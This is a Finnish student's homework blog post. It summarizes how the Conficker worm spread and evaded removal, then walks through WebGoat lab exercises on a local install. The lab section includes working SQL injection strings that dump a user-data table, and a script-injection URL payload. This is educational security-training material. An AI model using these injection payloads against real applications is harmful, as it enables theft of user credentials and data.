Conficker on vuosina 2008 ja 2009 levinnyt mato, jonka kohteeksi päätyi yli 10 miljoonaa Microsoftin käyttöjärjestelmää. Conficker levisi bottiverkkojen välityksellä, vaikka paikkaustiedostot sen käyttämien haavoittuvaisuuksien tukkimiseen oli julkaistu jo kuukausi ennen matoa. Confickerista julkaistiin useita versioita (a,b,b++ ja c). Uusin versio käytti hyväkseen vertaisverkkoa, jonka kautta haitallista ajettavaa koodia saatiin jaettua tehokkaasti. Ohjelma myös selvitti ajetaanko sitä virtuaalikoneella.

Conficer oli suojattu tehokkaasti mahdollisia poistoyrityksiä vastaan (Armor). Confickerin .dll tiedosto levyllä oli suojattu kirjoittamista vastaan, jotta scannaaminen ja poistaminen vaikeutuisi. Ohjelma myös poisti käyttöoikeudet tiedostoon Administrator tililtä. Samalla se sulki Windowssin update ja security -palvelut (Security Centre, Defender, Automatic Updates, BITS, Error reporting) ja esti niiden lataamisen koneen käynnistyessä. Ohjelma myös sulki pääsyn turvallisuusaiheisille sivustoille, joista olisi voitu ladata sen poistamiseen käytettäviä ohjelmia.

Se pyrki myös hämäämään virustorjuntaa (Obfuscation). Käytännössä tiedosto oli kryptattu ja se purki itsensä muistiin vasta käynnistyessään. Ohjelma käytti ns. ‘spagettikoodia’ pyrkiessään sumentamaan toimintalogiikkansa api-kutsujen alle, joiden käsittely oli virustorjuntaohjelmille mutkikasta.

Mato loi algoritmin avulla päivittäin joukon puolittain sattumanvaraisia domain-nimiä, joihin se otti yhteyttä tarkistaakseen onko uudempaa versiota saatavilla.

Safari Online

Ilmoittauduin ja aloitin ilmaisen trial-periodin. Ehdin selailla läpi tarjontaa, mutta en ehtinyt etsiä yhtä kirjaa ja kokeilla siitä löytämääni hyökkäystaktiikkaa. Olen tosin onnellinen, että kirjauduin palveluun, sillä sisältö näytti hyvin mielenkiintoiselta. Sitten kokeilin kirjautua palveluun Haaga-Helian HAKA-kirjautumisen kanssa. Pääsin sisään opiskelijana. Minulla on olemassa henkilökuntatunnuskin, mutta jotenkin sain kirjauduttua sisään vain opiskelijana. Koska kirjoitan lopputyötä, eksyin vähän aiheesta ja jäin tutkimaan Windows-kirjallisuutta.

 

 

 

Lähteet:

https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf

https://fi.wikipedia.org/wiki/Conficker

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit

https://www.virtualbox.org/manual/ch06.html

https://blogs.oracle.com/scoter/networking-in-virtualbox-v2

Kotitehtävä 2

Tämän viikon kotitehtävänä oli:

  1. Tiedustele aktiivisesti HackTheBoxin verkko. Voit käyttää esimerkiksi porttiskannereita, metasploittia, selainta, curl -I, nc ja muita osaamiasi työkaluja.
  2. Tee WebGoatista kolme tehtävää. Asenna WebGoat tarvittaessa. Ratkaisut saa julkaista normaalisti koko Internetille.

WebGoat

Aloitin tämän viikon kotiläksyjen tekemisen WebGoat tehtävistä. WebGoat on tarkoituksella turvattomaksi jätetty  nettisovellus, jonka avulla voidaan harjoitella tietoturvaan liittyviä asioita. Olin asenatnut WebGoatin aikaisemmin Windows-käyttöjärjestelmään, mutta nyt oli tarkoitus saada se toimimaan Linuxilla ja Xubuntuntulla. Aloitin asentamalla Javan.

sudo apt-get install openjdk-8-jdk

sudo apt-get install default-jre

Kokeilin vielä mikä versio asentui.

java -version

Hyvältä näytti, joten etenin lataamaan ajettavissa olevan .jar tiedoston. Se löytyi osoitteesta https://github.com/WebGoat/WebGoat/releases. Tiedoston nimi oli webgoat-server-8.0.0.M21.jar.

Latasin sen ja siirryin downloads-kansioon. Tiedosto löytyi, mutta siirsin sen ensin kotihakemistooni. Koitin sitten purkaa sen.

sudo java -jar webgoat-server-8.0.0.M21.jar

Katsoin sitten ohjeita osoitteesta https://github.com/WebGoat/WebGoat/blob/develop/README.MD

Koitin ajaa ohjelman.

sudo java –add-modules java.xml.bind -jar webgoat-server-8.0.0.M21.jar

Ruudulla vilisti komentoja.

Koitin seuraavaksi toimiiko WebGoat selaimella. Kirjoitin osoitteeksi localhost:8080/WebGoat

Pääsin sisään ja harjoitus voi alkaa.

Päätin vielä katkaista verkkoyhteyden harjoituksen ajaksi tietoturvasyistä.

goat1

Aloitin sitten tekemällä uuden käyttäjätilin palveluun. Valitisn käyttäjänimeksi aiheeseen sopivasti HackrDr3amz.

SQL-injektio

Viime viikon tehtävässä ohjelmoin itse PHP:llä verkkolomakkeen, jossa saatoin kokeilla SQL-injektiota käytännössä. Ajattelin aloittaa huvin vuoksi siitä täälläkin ja katsoa toimivatko oppini. Valitsin harjoitukseksi SQL injection ja kokeilin saanko kaikkien käyttäjien tiedot.

goat2

Seuraavaksi vuorossa oli Numeric SQL Injection. Koitin keksiä mistä on kysymys. Vähän aikaa kokeiltuani keksin yhden ratkaisun.

goat3

Kokeilin vielä tehdä WebGoatin Advanced SQL Injection -kohdan tehtäviä. Seuraavassa tehtävässä täytyi luoda kysely, jossa yhdistetään tietoja. Vihjeenä näytetään tietoja luotavasta taulusta, jossa on käyttäjän nimiä, salasanoja ja cookieita. Kokeilin ensin syöttää kaksi erillistä komentoa.

jani’; select * from system_user_data;

Mutta en saanut tietoja ulos. Lopulta ratkaisu oli kommentoida pois käskyn loppuosa. Tehtävä ratkaisu oli siis.

jani’; select * from system_user_data; —

goat4

Katselin vielä viimeistä kohtaa 5, mutta vaikka netissä oli paljon vihjeitä miten sen pitäisi toimia, en kuitenkaan ymmärtänyt niistä mitään.

Cross Site Scripting

Aloitin tehtävän lukemalla ohjeet ensimmäisellä sivulla. XSS on nettihyökkäys, joka on mahdollisesti löydettävissä nettiohjelmissa ja sen avulla hyökkääjä voi injektoida client-puolelta skriptejä nettisivuille, joita muut käyttäjät näkevät. XSS-hyökkäyksen tuloksena voi hyökkääjä kaapata session cookie-tiedot, tehdä kutsuja (requests), väärentää kenttiä kirjautumistietojen anastamiseksi, ohjata sinut haitallisille sivustoille tai lisätä sivullesi haitallista sisältöä.

Toisen sivun tehtävässä osoiteriville syötetään java-script ilmoitus, jossa pyydetään tietoja selaimelta cookiesta kahdella identtisellä sivulla. Kun syötin komennon osoiteriville, niin molemissa ikkunoissa ‘alert’ avautui ja näytti session tiedot. Molemmilla sivuilla cookie näytti samalta.

goat5

Tehtävässä seitsemän tarkastellaan, miten tärkeää on validoida nettilomakkeiden täytössä annetut tiedot. Sivulla on nettilomake, joka näyttää olevan nettikaupan ostoskori. Sivulla olevista kentistä luottokortin numero on luultavasti tekstikenttä, joten vihamielinen koodi kannattaa sijoittaa sinne. Kun laitan alerin tähän kenttään, saan huomata, että kentässä olevat Java Scriptit ajetaan.

goat6

Tehtävässä 10 tutkitaan WebGoatin osoitteiden reitittämistä ja tehtävänä on testikoodia, joka on jäänyt ohjelmaan vahingossa. Kun tyhjän lomakkeen submit-nappia painetaan, saan vihjeen, jossa kehotetaan tutkimaan GoatRouter.js nimistä tiedostoa. Avasin seuraavaksi webtools-työkalut ja tarkastelin sivun rakennetta.

Debugger -kohdan valikosta saamme auki hakemistopuun, jonka view -kansiosta löytyy GoatRouter.js tiedosto, jota käskettiin tutkia.

goat8

Alempaa tiedostosta löytyy kohta, jossa listataan reitittämiseen käytettäviä osoitteita.

 

Tehtävässä pyydettiin etsimään testireittiä, joka lisätään luonnollisesti perusreitin start.mvc# jälkeen. Tällöin testireitti on siis ‘start.mvc#test/’.

goat9

Olin vähän jumissa, joten tutkin nettiä. Kävi ilmi, että scriptiä ohjelman ajamiseen voidaan syöttää suoraan osoiteriville.

Koitin kirjoittaa uuden osoitteen, jossa myös haitallinen koodi ajetaan. Nähtävästi koko WebGoat meni jumiin. Käynnistin sen uudelleen. Jostain syystä en saanut skriptiä toimimaan millään. Oikea kirjoitusasu selvisi YouTube-haun avulla. Kirjoitin osoitteeksi

localhost:8080/Webgoat/start#test/<script>webgoat.customjs.home();<%2Fscript>

Vähän epäselväksi jäi, miksi lopetustägi kirjoitetaan tuohon muotoon. Sain kuitenkin selville oikean vastauksen tehtävän puhelinnumero kysymykseen.

goat10

Tehtävä jäi kesken, mutta koska toinenkin läksytehtävä oli jäljellä lopetin tämän tutkimisen tähän.

Lähteet:

https://www.owasp.org/index.php/WebGoat_Installation

http://linuxbsdos.com/2016/02/19/how-to-install-webgoat-on-ubuntu-14-04-15-04-and-15-10/

Youtube WebGoat Series